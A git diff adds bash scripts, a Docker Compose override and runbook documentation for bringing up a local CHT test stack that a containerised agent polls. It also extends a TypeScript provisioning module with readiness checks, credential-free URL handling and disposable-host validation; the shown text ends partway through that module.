diff --git a/.gitignore b/.gitignore
index cf952945..620714cb 100644
--- a/.gitignore
+++ b/.gitignore
@@ -17,6 +17,9 @@ log
 # Research output files
 outputs/
 
+# Managed cht-core checkout (scripts/test-env-up.sh with no path)
+.cht-core/
+
 # Pipeline skip-audit log. Every real run appends to it, so tracking it made each
 # run produce a commit and let a stray test entry reach real pipeline data (#146).
 agent-memory/_skipped.ndjson
diff --git a/designs/layer_recommendations/test-environment-layer.md b/designs/layer_recommendations/test-environment-layer.md
index 0699af35..b6522ebe 100644
--- a/designs/layer_recommendations/test-environment-layer.md
+++ b/designs/layer_recommendations/test-environment-layer.md
@@ -223,7 +223,7 @@ Default: **CouchDB wipe + reseed** for config/data iterations. Under Model A, **
 
 #### Teardown
 
-`docker compose down -v` (the `-v` clears volumes for a clean slate). Always run on completion or failure to avoid orphaned containers.
+`scripts/test-env-down.sh` (`docker compose down -v`). `-v` removes the named volumes, but CouchDB data is a bind mount under `local-build/` and survives, so a clean database also means deleting that directory. Always run on completion or failure to avoid orphaned containers.
 
 ### 2. Config Discovery
 
diff --git a/docker/cht-agent-net.override.yml b/docker/cht-agent-net.override.yml
new file mode 100644
index 00000000..45536549
--- /dev/null
+++ b/docker/cht-agent-net.override.yml
@@ -0,0 +1,39 @@
+# cht-agent-net.override.yml
+#
+# Layers onto cht-core's local-build compose (or the docker-helper stack) so the
+# running CHT instance joins the shared `cht-agent-net` network that the
+# dockerized cht-agent is also attached to. This lets the agent reach the
+# instance at https://nginx with no host-port juggling and — importantly — with
+# NO Docker access (the agent only polls /api/v2/monitoring).
+#
+# HUMAN-run only (the cht-agent never runs Docker). scripts/test-env-up.sh applies
+# it with a per-checkout project, internal network and data dir (scripts/lib/test-env.sh);
+# by hand, pass the same values that test_env_compose passes, not only -p. Without
+# CHT_NETWORK, the stack shares the default `cht-net` network and the couchdb/haproxy/api
+# names with any other CHT stack that also uses `cht-net`. Without COUCHDB_PASSWORD,
+# Compose stops. Use this command:
+#   COUCHDB_USER=medic COUCHDB_PASSWORD=password COMMON_NAME=nginx \
+#   NGINX_HTTP_PORT=127.0.0.1:80 NGINX_HTTPS_PORT=127.0.0.1:443 \
+#   CHT_NETWORK=<project>-net COUCHDB_DATA=./srv-<project> \
+#     docker compose -p <project> -f cht-couchdb.yml -f cht-core.yml -f cht-agent-net.override.yml up -d
+# Only one stack's nginx can be on cht-agent-net at a time: `nginx` would resolve to both.
+#
+# VALIDATE before relying on this: the service name (`nginx`) and the key of the
+# stack's internal network (`cht-net` below; CHT_NETWORK sets its actual name) must
+# match what `npm run local-images` generates in `local-build/` for your cht-core
+# version. Confirm with:
+#   docker compose ... config            # see resolved service/network names
+#   docker network inspect cht-agent-net # confirm nginx is attached
+# If the internal network differs, update the first entry under nginx.networks.
+
+networks:
+  cht-agent-net:
+    external: true
+
+services:
+  # nginx is the HTTPS entry point the agent reaches. Keep it on the stack's
+  # internal network AND join the shared cht-agent-net.
+  nginx:
+    networks:
+      - cht-net
+      - cht-agent-net
diff --git a/docker/docker-compose.cht-agent.yml b/docker/docker-compose.cht-agent.yml
index 733e9c23..f4f0af05 100644
--- a/docker/docker-compose.cht-agent.yml
+++ b/docker/docker-compose.cht-agent.yml
@@ -48,6 +48,8 @@ services:
       # .credentials.json mount below (for OAuth-based tools).
       ANTHROPIC_API_KEY: ${ANTHROPIC_API_KEY:-}
       CHT_CORE_PATH: /workspace/cht-core
+      # The same working copy on the host, where the operator runs the printed gates.
+      CHT_CORE_HOST_PATH: ${CHT_CORE_PATH}
       # CHT entry point on cht-agent-net (nginx joins via the #66 override)
       CHT_URL: ${CHT_URL:-https://nginx}
       NODE_ENV: development
diff --git a/docs/docker-agent-runbook.md b/docs/docker-agent-runbook.md
index 0fbaca84..5ef01ac1 100644
--- a/docs/docker-agent-runbook.md
+++ b/docs/docker-agent-runbook.md
@@ -129,17 +129,41 @@ When the Test Environment Layer (#66) requests an environment, the agent
 *waits and polls* — you bring it up:
 
 ```bash
-# Build images from the agent's edited working copy (Model A rebuild-on-change)
-cd ~/src/cht-core && npm run local-images
-
-# Start the stack, attaching nginx to cht-agent-net via the #66 override
-docker compose -f <cht-core compose files> \
-  -f <cht-agent repo>/docker/cht-agent-net.override.yml up -d
+# From the cht-agent repo: build the agent's edited working copy into images
+# (Model A rebuild-on-change) and start it, nginx joined to cht-agent-net
+CHT_CORE_REBUILD=1 scripts/test-env-up.sh ~/src/cht-core
 ```
 
-> The override file `docker/cht-agent-net.override.yml` ships with #66.
-> Validate service/network names against your generated compose before
-> relying on it (see the comments in that file).
+> `scripts/test-env-up.sh` gives each checkout its own Compose project, internal
+> network and CouchDB data dir, and refuses to start while another stack's nginx
+> is on `cht-agent-net`. Overrides are listed in `scripts/lib/test-env.sh`.
+>
+> The stack's cert is self-signed, and the agent's readiness poll stops at the first
+> TLS verification error. So bring the stack up before the agent run starts, not
+> after the agent asks: the poll then succeeds at once. Run the `docker cp` line
+> that `test-env-up.sh` prints at its end, then copy that file into the container
+> (`docker cp <file> cht-agent:/tmp/cht-cert.pem`). Start the run with
+> `docker exec -e NODE_EXTRA_CA_CERTS=/tmp/cht-cert.pem ...`. After
+> `test-env-down.sh`, the next bring-up makes a new cert. If the bring-up used
+> non-default `COUCHDB_USER` or `COUCHDB_PASSWORD`, pass the same values with `docker exec -e`.
+
+Settings the layer reads from the environment:
+
+| Variable | Read by | Effect (default) |
+|---|---|---|
+| `CHT_URL` | agent | Instance `provision` dials when the call passes no `url` (`https://nginx`). |
+| `COUCHDB_USER` / `COUCHDB_PASSWORD` | agent, scripts | Stack admin; each defaults on its own (`medic` / `password`). The agent refuses the default password against a host it does not treat as disposable. |
+| `CHT_TEST_ENV_ALLOW_EXTERNAL=1` | agent | Allows a host it does not treat as disposable, like `allowExternalTarget`. |
+| `CHT_CONF_BIN` | agent | cht-conf binary to spawn (`cht`). |
+| `CHT_CORE_HOST_PATH` | agent | Host path of the working copy, printed in the gates. The agent's compose file sets it to `$CHT_CORE_PATH`. |
+| `CHT_TEST_ENV_PROJECT` | scripts, agent | Compose project (`cht-agent-<dir>-<path hash>`). The agent repeats it in the gates it prints. |
+| `CHT_CORE_PATH` | scripts | Working copy, when no path argument is given. |
+| `CHT_CORE_CLONE_DIR` | scripts | Managed checkout when neither is given (`<repo>/.cht-core`), cloned from `CHT_CORE_UPSTREAM` at `CHT_CORE_BRANCH` (medic/cht-core, master). |
+| `CHT_CORE_REBUILD=1` | scripts | Runs `npm run build-dev` even when a build exists. |
+| `COUCHDB_DATA` | scripts | CouchDB bind mount (`local-build/srv-<project>`). It survives `test-env-down.sh`. |
+| `NGINX_HTTP_PORT` / `NGINX_HTTPS_PORT` | scripts | Host binds (`127.0.0.1:80` / `127.0.0.1:443`). Opening them to the LAN needs a non-default `COUCHDB_PASSWORD`. |
+| `COMMON_NAME` | scripts | Cert CN (`nginx`, the host the agent dials). |
+| `NODE_EXTRA_CA_CERTS` | Node | The stack's `cert.pem`, read once per process (see above). |
 
 The agent detects readiness via `GET https://nginx/api/v2/monitoring` and
 continues. CouchDB-tier resets it does itself over HTTP; container restarts
@@ -161,7 +185,7 @@ git push origin cht-agent/<ticket>
 
 ```bash
 docker compose -f docker/docker-compose.cht-agent.yml down
-# CHT stack: docker compose -f <cht-core compose files> down -v
+scripts/test-env-down.sh ~/src/cht-core   # CHT stack
 # Full cleanup of the shared network (only once nothing else uses it):
 docker network rm cht-agent-net
 ```
@@ -173,5 +197,5 @@ docker network rm cht-agent-net
 | compose fails mounting `git-config.hardened` over `.git/config` | working copy is a git worktree (`.git` is a file) or missing. Run `docker/scripts/bootstrap-workspace.sh` on the host. |
 | `Sandbox verification FAILED` in `docker logs` | a hardening layer is missing — read which `[FAIL]` fired; don't bypass it. |
 | working-copy files unwritable from container | host uid ≠ 1000. Rebuild with a matching uid or chown the copy. |
-| agent can't reach `https://nginx` | CHT stack not attached to `cht-agent-net` — re-run compose with the #66 override; `docker network inspect cht-agent-net` should list nginx. |
+| agent can't reach `https://nginx` | CHT stack not attached to `cht-agent-net` — bring it up with `scripts/test-env-up.sh`; `docker network inspect cht-agent-net` should list one nginx. |
 | `fetch` fails for an `ssh://` or `git@` URL | by design (no ssh binary). Use the `https://` URL. |
diff --git a/scripts/lib/test-env.sh b/scripts/lib/test-env.sh
new file mode 100644
index 00000000..649160b9
--- /dev/null
+++ b/scripts/lib/test-env.sh
@@ -0,0 +1,91 @@
+# shellcheck shell=bash
+# Shared by scripts/test-env-{up,down,restart}.sh (sourced, not run).
+#
+# Every cht-core checkout builds in a directory named `local-build`, and Compose
+# names a project after its directory, so without -p all checkouts share one project
+# and `down -v` on one deletes another's stack. Each checkout therefore gets its own
+# project, and with it its own internal network (the couchdb/api/haproxy names),
+# CouchDB bind mount, and cert volume. Only nginx joins the shared cht-agent-net.
+#
+# Env overrides:
+#   CHT_TEST_ENV_PROJECT  Compose project (default cht-agent-<dir>-<path hash>)
+#   COUCHDB_USER / COUCHDB_PASSWORD  admin (default medic / password, the agent's DEFAULT_AUTH)
+#   COUCHDB_DATA          CouchDB bind mount (default local-build/srv-<project>)
+#   NGINX_HTTP_PORT / NGINX_HTTPS_PORT  host binds (default 127.0.0.1:80 / 127.0.0.1:443;
+#                         set 443 to reach the stack from another device, and then also set
+#                         COUCHDB_PASSWORD: the default admin is medic / password)
+#   COMMON_NAME           cert CN (default nginx, the host name the containerized agent uses)
+
+TEST_ENV_REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+TEST_ENV_OVERRIDE="$TEST_ENV_REPO_ROOT/docker/cht-agent-net.override.yml"
+# Must match the external network in docker/cht-agent-net.override.yml.
+# shellcheck disable=SC2034 # used by test-env-up.sh
+TEST_ENV_NETWORK="cht-agent-net"
+
+test_env_default_target() {
+  local path="${1:-}"
+  printf '%s\n' "${path:-${CHT_CORE_PATH:-${CHT_CORE_CLONE_DIR:-$TEST_ENV_REPO_ROOT/.cht-core}}}"
+  return $?
+}
+
+test_env_hash() {
+  if command -v sha256sum >/dev/null 2>&1; then sha256sum; else shasum -a 256; fi | cut -c1-8
+  return $?
+}
+
+# Sets TEST_ENV_TARGET (physical path) and TEST_ENV_PROJECT for an existing checkout.
+test_env_select() {
+  local path="$1" base
+  TEST_ENV_TARGET="$(cd "$path" && pwd -P)"
+  base="$(basename "$TEST_ENV_TARGET" | LC_ALL=C tr '[:upper:]' '[:lower:]' | LC_ALL=C sed -e 's/[^a-z0-9_-]/-/g' -e 's/^-*//')"
+  TEST_ENV_PROJECT="${CHT_TEST_ENV_PROJECT:-cht-agent-${base}-$(printf '%s' "$TEST_ENV_TARGET" | test_env_hash)}"
+  return $?
+}
+
+test_env_require_build() {
+  local path="$1"
+  if [[ ! -d "$path/local-build" ]]; then
+    echo "error: no cht-core build at $path (pass a path or set CHT_CORE_PATH)" >&2
+    exit 1
+  fi
+}
+
+# COUCHDB_PASSWORD goes to every subcommand: the compose files declare ${COUCHDB_PASSWORD:?...}.
+test_env_compose() {
+  ( cd "$TEST_ENV_TARGET/local-build" &&
+    COUCHDB_USER="${COUCHDB_USER:-medic}" COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" \
+    CHT_NETWORK="$TEST_ENV_PROJECT-net" COUCHDB_DATA="${COUCHDB_DATA:-./srv-$TEST_ENV_PROJECT}" \
+    NGINX_HTTP_PORT="${NGINX_HTTP_PORT:-127.0.0.1:80}" NGINX_HTTPS_PORT="${NGINX_HTTPS_PORT:-127.0.0.1:443}" \
+    COMMON_NAME="${COMMON_NAME:-nginx}" \
+    docker compose -p "$TEST_ENV_PROJECT" -f cht-couchdb.yml -f cht-core.yml -f "$TEST_ENV_OVERRIDE" "$@" )
+  return $?
+}
+
+# Refuse a project that another checkout started. With a shared CHT_TEST_ENV_PROJECT,
+# up would recreate that checkout's containers, and down -v would delete them and its volumes.
+test_env_require_owner() {
+  local dirs dir
+  dirs="$(docker ps -a --filter "label=com.docker.compose.project=$TEST_ENV_PROJECT" \
+    --format '{{.Label "com.docker.compose.project.working_dir"}}' | sort -u)"
+  while IFS= read -r dir; do
+    if [[ -n "$dir" && "$dir" != "$TEST_ENV_TARGET/local-build" ]]; then
+      echo "error: Compose project '$TEST_ENV_PROJECT' has containers from $dir, which is not $TEST_ENV_TARGET/local-build." >&2
+      exit 1
+    fi
+  done <<< "$dirs"
+  return 0
+}
+
+# restart and down would otherwise report success against a project with nothing in it.
+test_env_require_containers() {
+  local containers
+  containers="$(test_env_compose ps -a -q)"
+  if [[ -z "$containers" ]]; then
+    echo "error: Compose project '$TEST_ENV_PROJECT' has no containers." >&2
+    echo "       'docker compose ls -a' lists the projects that exist; a stack this checkout" >&2
+    echo "       started under another name needs CHT_TEST_ENV_PROJECT=<name>." >&2
+    exit 1
+  fi
+  test_env_require_owner
+  return 0
+}
diff --git a/scripts/test-env-down.sh b/scripts/test-env-down.sh
new file mode 100755
index 00000000..bcb58dd3
--- /dev/null
+++ b/scripts/test-env-down.sh
@@ -0,0 +1,17 @@
+#!/usr/bin/env bash
+#
+# Human-run teardown for the Test Environment Layer.
+# The cht-agent NEVER runs this or any Docker command itself.
+# Usage: scripts/test-env-down.sh [<cht-core-path>]   (overrides: scripts/lib/test-env.sh)
+set -euo pipefail
+source "$(dirname "$0")/lib/test-env.sh"
+
+# Same resolution as test-env-up.sh, minus the clone: the stack must already exist.
+TARGET="$(test_env_default_target "${1:-}")"
+test_env_require_build "$TARGET"
+test_env_select "$TARGET"
+test_env_require_containers
+test_env_compose down -v
+
+echo "CHT environment '$TEST_ENV_PROJECT' torn down. -v removed its named volumes; CouchDB data in the" \
+  "${COUCHDB_DATA:-$TEST_ENV_TARGET/local-build/srv-$TEST_ENV_PROJECT} bind mount stays."
diff --git a/scripts/test-env-restart.sh b/scripts/test-env-restart.sh
new file mode 100755
index 00000000..811cc2da
--- /dev/null
+++ b/scripts/test-env-restart.sh
@@ -0,0 +1,16 @@
+#!/usr/bin/env bash
+#
+# Human-run restart for the Test Environment Layer (reset tier: restart).
+# The cht-agent NEVER runs this or any Docker command itself.
+# Usage: scripts/test-env-restart.sh [<cht-core-path>]   (overrides: scripts/lib/test-env.sh)
+set -euo pipefail
+source "$(dirname "$0")/lib/test-env.sh"
+
+# Same resolution as test-env-up.sh, minus the clone: the stack must already exist.
+TARGET="$(test_env_default_target "${1:-}")"
+test_env_require_build "$TARGET"
+test_env_select "$TARGET"
+test_env_require_containers
+test_env_compose restart
+
+echo "CHT services in '$TEST_ENV_PROJECT' restarted. The agent should re-confirm health (provision/waitForReady)."
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
new file mode 100755
index 00000000..5b959a4a
--- /dev/null
+++ b/scripts/test-env-up.sh
@@ -0,0 +1,110 @@
+#!/usr/bin/env bash
+#
+# Human-run bring-up for the Test Environment Layer (Model A — rebuild on change).
+# The cht-agent NEVER runs this or any Docker command itself; the agent's
+# provision() only polls /api/v2/monitoring and waits for this to finish. The
+# clone/install below is this HUMAN script's convenience — the agent still never
+# clones, installs, or runs Docker.
+#
+# Usage: scripts/test-env-up.sh [<cht-core-path>]
+#
+# With no argument the stack is built from $CHT_CORE_PATH, or from a managed
+# checkout at $CHT_CORE_CLONE_DIR (default <repo>/.cht-core), cloned from master
+# on first use. A path you pass is used as-is and is never cloned into.
+#
+# Project, credential, port and cert overrides: see scripts/lib/test-env.sh.
+#
+# TLS: the stack serves a SAN-less self-signed cert whose CN is COMMON_NAME (nginx).
+# The agent's cht-conf child accepts it via --accept-self-signed-certs; the agent's
+# own fetch (readiness/discovery/reset) needs it trusted via NODE_EXTRA_CA_CERTS
+# (copy command printed at the end). NODE_TLS_REJECT_UNAUTHORIZED=0 disables
+# verification for ALL of the agent's traffic (LLM/MCP included) and is acceptable
+# only inside a disposable runner container.
+set -euo pipefail
+source "$(dirname "$0")/lib/test-env.sh"
+
+CLONE_DIR="${CHT_CORE_CLONE_DIR:-$TEST_ENV_REPO_ROOT/.cht-core}"
+CHT_CORE_UPSTREAM="${CHT_CORE_UPSTREAM:-https://github.com/medic/cht-core.git}"
+CHT_CORE_BRANCH="${CHT_CORE_BRANCH:-master}"
+
+# cht-core's own engines require Node >= 22.15; npm ci and the image build both
+# fail in confusing ways on older runtimes.
+NODE_MAJOR="$(node -v 2>/dev/null | sed 's/^v\([0-9]*\).*/\1/')"
+if [[ -z "$NODE_MAJOR" ]] || [[ "$NODE_MAJOR" -lt 22 ]]; then
+  echo "error: cht-core needs Node >= 22.15 (found: $(node -v 2>/dev/null || echo 'no node')). Try 'nvm use 22'." >&2
+  exit 1
+fi
+
+TARGET="${1:-${CHT_CORE_PATH:-}}"
+if [[ -z "$TARGET" ]]; then
+  TARGET="$CLONE_DIR"
+  if [[ ! -d "$TARGET/.git" ]]; then
+    echo "No cht-core path given — cloning $CHT_CORE_BRANCH into $TARGET (shallow)."
+    echo "Pass a path, or set CHT_CORE_PATH, to build from a working copy instead."
+    # Shallow is safe: cht-core derives its image version from the branch name
+    # (cht-core's scripts/build/versions.js), not from git tags.
+    git clone --depth 1 --branch "$CHT_CORE_BRANCH" "$CHT_CORE_UPSTREAM" "$TARGET"
+  fi
+fi
+
+if [[ ! -d "$TARGET" ]]; then
+  echo "error: cht-core path not found: $TARGET" >&2
+  exit 1
+fi
+test_env_select "$TARGET"
+test_env_require_owner
+
+# 1. Shared network the cht-agent and CHT both join.
+docker network inspect "$TEST_ENV_NETWORK" >/dev/null 2>&1 || docker network create "$TEST_ENV_NETWORK" >/dev/null
+
+# The agent reaches CHT as https://nginx on that network; a second stack's nginx
+# there would split the name between two instances. -a: a stopped nginx comes back
+# when the Docker daemon restarts (restart: always).
+nginx_projects="$(docker ps -a --filter "network=$TEST_ENV_NETWORK" --filter label=com.docker.compose.service=nginx \
+  --format '{{.Label "com.docker.compose.project"}}')"
+while IFS= read -r project; do
+  if [[ -n "$project" && "$project" != "$TEST_ENV_PROJECT" ]]; then
+    echo "error: Compose project '$project' already has an nginx on $TEST_ENV_NETWORK." >&2
+    echo "       Tear it down first: CHT_TEST_ENV_PROJECT='$project' scripts/test-env-down.sh <its cht-core path>" >&2
+    echo "       If that checkout is gone: docker rm -f \$(docker ps -aq --filter label=com.docker.compose.project=$project)" >&2
+    exit 1
+  fi
+done <<< "$nginx_projects"
+
+# `npm run local-images` builds from node_modules (bowser, uglifyjs, cleancss);
+# without them it dies on an opaque `cp: cannot stat` deep inside the build.
+if [[ ! -d "$TARGET/node_modules" ]]; then
+  echo "Installing cht-core dependencies in $TARGET (npm ci — several minutes, ~1.2GB)."
+  # Lifecycle scripts must run: cht-core's postinstall is patch-package, and skipping
+  # it leaves the patches unapplied and the build broken. This is why --ignore-scripts
+  # is not used here. The code being installed is the same tree we are about to build
+  # images from and run, so npm scripts add no privilege beyond what follows.
+  ( cd "$TARGET" && npm ci )
+elif [[ ! -e "$TARGET/node_modules/bowser/bundled.js" ]] || [[ ! -x "$TARGET/node_modules/.bin/uglifyjs" ]]; then
+  echo "error: cht-core dependencies in $TARGET look incomplete (the image build needs" >&2
+  echo "       bowser + uglifyjs). Run 'npm ci' there yourself — this script will not" >&2
+  echo "       replace an existing node_modules." >&2
+  exit 1
+fi
+
+# 2. Build the app. `npm run local-images` only PACKAGES an already-built tree:
+# build-service-images.sh copies into api/build/static/, which is created by
+# build-prepare.sh (ddocs, enketo css, admin app) and filled by build-webapp-dev.
+# npm ci alone does not produce it — build-dev also runs the per-module installs.
+if [[ ! -d "$TARGET/api/build/static" ]] || [[ "${CHT_CORE_REBUILD:-}" = "1" ]]; then
+  echo "Building cht-core in $TARGET (npm run build-dev — several minutes)."
+  ( cd "$TARGET" && npm run build-dev )
+else
+  echo "Reusing the existing cht-core build in $TARGET."
+  echo "Set CHT_CORE_REBUILD=1 to rebuild after changing cht-core source (Model A is rebuild-on-change)."
+fi
+
+# 3. Package those build outputs into local Docker images.
+( cd "$TARGET" && npm run local-images )
+
+# 4. Start the stack, joined to the shared network via the override.
+test_env_compose up -d
+
+echo "CHT starting as Compose project '$TEST_ENV_PROJECT' on '$TEST_ENV_NETWORK'. The agent will poll /api/v2/monitoring until healthy."
+echo "To trust its cert: docker cp $TEST_ENV_PROJECT-nginx-1:/etc/nginx/private/cert.pem <file>, then NODE_EXTRA_CA_CERTS=<file> for the agent."
+echo "Node reads that file once per process: start the agent after this cert exists, and restart it after test-env-down.sh (the next up makes a new cert)."
diff --git a/src/agents/test-environment-agent.mock-data.ts b/src/agents/test-environment-agent.mock-data.ts
index 0481e3be..e2978dfd 100644
--- a/src/agents/test-environment-agent.mock-data.ts
+++ b/src/agents/test-environment-agent.mock-data.ts
@@ -1,4 +1,5 @@
-import { DiscoveredConfig, TestDataResult } from '../types';
+import { ConfigActionResult, ConfigUploadAction, DiscoveredConfig, TestDataResult } from '../types';
+import { CONFIG_ACTION_COMMANDS } from '../utils/cht-conf-runner';
 
 /**
  * Raw deterministic fixtures for the Test Environment Agent's mock mode.
@@ -15,9 +16,19 @@ export type MockTestEnvData = {
   testData: TestDataResult;
 };
 
+/**
+ * Build a successful (uploaded), warning-free mock result for a single bucket.
+ */
+export const mockConfigActionResult = (action: ConfigUploadAction): ConfigActionResult => ({
+  action,
+  status: 'uploaded',
+  commands: [...CONFIG_ACTION_COMMANDS[action]],
+  warnings: [],
+});
+
 export const MOCK_TEST_ENV_DATA: MockTestEnvData = {
   url: 'https://nginx',
-  // matches the defaults set by cht-core's scripts/docker-helper/cht-docker-compose.sh
+  // matches the creds scripts/test-env-up.sh brings the stack up with (and the agent's DEFAULT_AUTH)
   auth: { user: 'medic', password: 'password' },
   network: 'cht-agent-net',
   config: {
@@ -40,6 +51,11 @@ export const MOCK_TEST_ENV_DATA: MockTestEnvData = {
       death_reporting: { disable: false },
     },
     forms: ['delivery', 'pregnancy', 'assessment'],
+    formVersions: {
+      delivery: '1-mockrev',
+      pregnancy: '1-mockrev',
+      assessment: '1-mockrev',
+    },
   },
   testData: {
     placesCreated: 3,
@@ -47,5 +63,21 @@ export const MOCK_TEST_ENV_DATA: MockTestEnvData = {
     reportsCreated: 4,
     usersCreated: 2,
     warnings: [],
+    succeeded: true,
+    // One id per mock place/person/report (users are accounts, not docs).
+    seededDocIds: [
+      'mock-place-district-1',
+      'mock-place-health-center-1',
+      'mock-place-clinic-1',
+      'mock-person-1',
+      'mock-person-2',
+      'mock-person-3',
+      'mock-person-4',
+      'mock-person-5',
+      'mock-report-delivery-1',
+      'mock-report-pregnancy-1',
+      'mock-report-pregnancy-2',
+      'mock-report-assessment-1',
+    ],
   },
 };
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index bbf0c5dd..cb6cac2b 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -4,86 +4,938 @@
  * Deterministic provisioning orchestrator for the Test Environment Layer
  * (QA Supervisor). It provisions a live CHT instance, applies a config,
  * discovers the deployed config, and seeds conforming test data. No LLM is
- * involved. This file implements mock mode only; the real Docker / cht-conf /
- * CouchDB orchestration lands in #66.
+ * involved. Real paths: provision (human-gated bring-up + readiness polling),
+ * applyConfig (cht-conf upload buckets), discoverConfig (settings + form-rev
+ * fetch), prepareTestData (cht-conf csv-to-docs/upload-docs/create-users),
+ * and the couchdb-tier reset (tracked-doc wipe + reseed over the CouchDB HTTP
+ * API — the one reset the agent does itself; restart/full stay human-gated).
+ * The pipeline wiring that invokes this layer lands with #64.
  *
  * See: designs/layer_recommendations/test-environment-layer.md
  */
 
+import { resolve } from 'node:path';
 import {
+  ApplyConfigOptions,
+  ChtConfExecOptions,
+  ChtConfExecResult,
+  ConfigActionResult,
+  ConfigApplyResult,
+  ConfigUploadAction,
+  ContactTypeConfig,
   DiscoveredConfig,
   EnvironmentHandle,
+  PrepareTestDataOptions,
   ProvisionOptions,
+  ResetOptions,
+  ResetResult,
   ResetTier,
+  RoleConfig,
   TestDataResult,
+  TransitionConfig,
 } from '../types';
-import { MOCK_TEST_ENV_DATA } from './test-environment-agent.mock-data';
+import { MOCK_TEST_ENV_DATA, mockConfigActionResult } from './test-environment-agent.mock-data';
+import { waitForReady } from '../utils/cht-readiness';
+import { FORM_BUCKETS, outputTail, runBucket, runChtConf } from '../utils/cht-conf-runner';
+import {
+  BulkDoc,
+  bulkDocs,
+  DocRevRow,
+  fetchDocRevs,
+  fetchFormRevs,
+  fetchSession,
+  fetchSettings,
+} from '../utils/cht-api';
+import {
+  classifySeededDocs,
+  countCreatedUsers,
+  findForeignDocFiles,
+  hasCsvInput,
+  hasUsersCsv,
+  parseUploadDocsSummary,
+  readSeededDocs,
+  recordOwnedDocFiles,
+  removeOwnedDocFiles,
+  SeededDoc,
+  SeededDocCounts,
+} from '../utils/test-data';
+
+// Real-path defaults: scripts/test-env-up.sh brings CHT up on cht-agent-net with these
+// same credentials and with COMMON_NAME=nginx, so the stack's SAN-less self-signed cert
+// names the host the agent dials. The cht-conf child gets --accept-self-signed-certs; the
+// agent's own fetch trusts the cert via NODE_EXTRA_CA_CERTS=<the stack's cert.pem>. Node
+// loads that file once, no later than the process's first TLS connection attempt (even a
+// failed one). The nginx container makes a new key for each new cht-ssl volume (the first
+// up, and every up after down -v). So start the agent after the cert exists, and restart it
+// after a full reset.
+// NODE_TLS_REJECT_UNAUTHORIZED=0 disables verification for ALL agent traffic (LLM/MCP
+// included): disposable runner containers only.
+const DEFAULT_ENV_URL = 'https://nginx';
+const DEFAULT_NETWORK = 'cht-agent-net';
+const DEFAULT_AUTH = { user: 'medic', password: 'password' };
+// A cold first run of test-env-up.sh (clone, npm ci, build-dev, local-images) takes
+// about 18 minutes.
+const DEFAULT_PROVISION_WAIT_MS = 1_800_000;
+
+// Default config project (cht-core in-repo) and the full cht-conf upload set.
+const DEFAULT_CONFIG_PATH = 'config/default';
+const DEFAULT_CONFIG_ACTIONS: ConfigUploadAction[] = [
+  'app-settings',
+  'app-forms',
+  'contact-forms',
+  'resources',
+];
+
+const CSV_TO_DOCS = 'csv-to-docs';
+const UPLOAD_DOCS = 'upload-docs';
+
+// CouchDB id prefix of installed form docs (form:pregnancy -> pregnancy).
+const FORM_DOC_PREFIX = 'form:';
+
+/**
+ * Decode a URL userinfo component. Userinfo SHOULD be percent-encoded, but a
+ * raw '%' in a hand-typed CHT_URL password must not crash provision with an
+ * opaque URIError — fall back to the literal value.
+ */
+const decodeUserinfo = (value: string): string => {
+  try {
+    return decodeURIComponent(value);
+  } catch {
+    return value;
+  }
+};
+
+/** Strip trailing slashes without a backtracking regex. */
+const stripTrailingSlashes = (value: string): string => {
+  let result = value;
+  while (result.endsWith('/')) {
+    result = result.slice(0, -1);
+  }
+  return result;
+};
+
+// POSIX single-quote escaping: close the quote, emit an escaped one, reopen.
+const SINGLE_QUOTE_ESCAPE = String.raw`'\''`;
+
+/** Single-quote a path for the printed human-gate commands (spaces/metachars stay inert when pasted). */
+const shellQuote = (value: string): string => `'${value.replaceAll("'", SINGLE_QUOTE_ESCAPE)}'`;
+
+/**
+ * Argument for a printed gate command: a quoted path, or nothing when we don't
+ * know one — the scripts resolve CHT_CORE_PATH (or their managed checkout)
+ * themselves, so a bare command is runnable while a `'<cht-core>'` placeholder
+ * would not be. The human runs the gate on the host: a dockerized agent sees its
+ * working copy at the mount target, so CHT_CORE_HOST_PATH (the mount source) wins.
+ */
+const gateArg = (chtCorePath: string | undefined): string => {
+  const hostPath = process.env.CHT_CORE_HOST_PATH?.trim();
+  // Printed into the human-gate command lines, like chtCorePath (validateProvisionOptions).
+  if (hostPath && hasControlChars(hostPath)) {
+    throw new Error('CHT_CORE_HOST_PATH contains control characters: it must be a plain filesystem path');
+  }
+  const gatePath = hostPath || chtCorePath;
+  return gatePath === undefined ? '' : ` ${shellQuote(gatePath)}`;
+};
+
+/** Carry an explicit Compose project into the printed gates, so down/restart address the same stack. */
+const gateEnv = (): string => {
+  const project = process.env.CHT_TEST_ENV_PROJECT;
+  return project ? `CHT_TEST_ENV_PROJECT=${shellQuote(project)} ` : '';
+};
+
+const hasControlChars = (value: string): boolean =>
+  [...value].some((ch) => (ch.codePointAt(0) ?? 0) < 0x20);
+
+type BasicAuth = { user: string; password: string };
+
+/** A resolved real-mode target: a credential-free instance URL + its auth. */
+interface RealTarget {
+  url: string;
+  auth: BasicAuth;
+}
+
+/** Hosts treated as disposable test instances (see assertDisposableTarget). */
+const DISPOSABLE_HOSTS = new Set(['nginx', 'localhost', '127.0.0.1', '[::1]']);
+
+// cht-docker-helper serves a stack on a dashed IP under this resolver, but the resolver
+// answers for ANY address (203-0-113-5.local-ip.medicmobile.org is public).
+const PRIVATE_DASHED_IP =
+  /^(?:10-\d{1,3}|127-\d{1,3}|192-168|172-(?:1[6-9]|2\d|3[01]))-\d{1,3}-\d{1,3}\.local-ip\.medicmobile\.org$/;
+
+// `.local` is deliberately absent: it is also the legacy Active Directory suffix.
+const isDisposableHost = (hostname: string): boolean =>
+  DISPOSABLE_HOSTS.has(hostname) || hostname.endsWith('.localhost') || PRIVATE_DASHED_IP.test(hostname);
+
+/** Parse an instance URL without letting ERR_INVALID_URL carry the raw string (password included). */
+const parseInstanceUrl = (raw: string): URL => {
+  try {
+    return new URL(raw);
+  } catch {
+    throw new Error('provision: the instance URL (options.url / CHT_URL) is not a valid URL');
+  }
+};
+
+/** Credentials embedded in a URL. Both halves are required: `https://medic@host` carries none. */
+const embeddedAuthOf = (url: URL): BasicAuth | undefined =>
+  url.username && url.password
+    ? { user: decodeUserinfo(url.username), password: decodeUserinfo(url.password) }
+    : undefined;
+
+/** The canonical, credential-free form of an instance URL; handle.url reaches logs. */
+const withoutUserinfo = (url: URL): string => {
+  const copy = new URL(url);
+  copy.username = '';
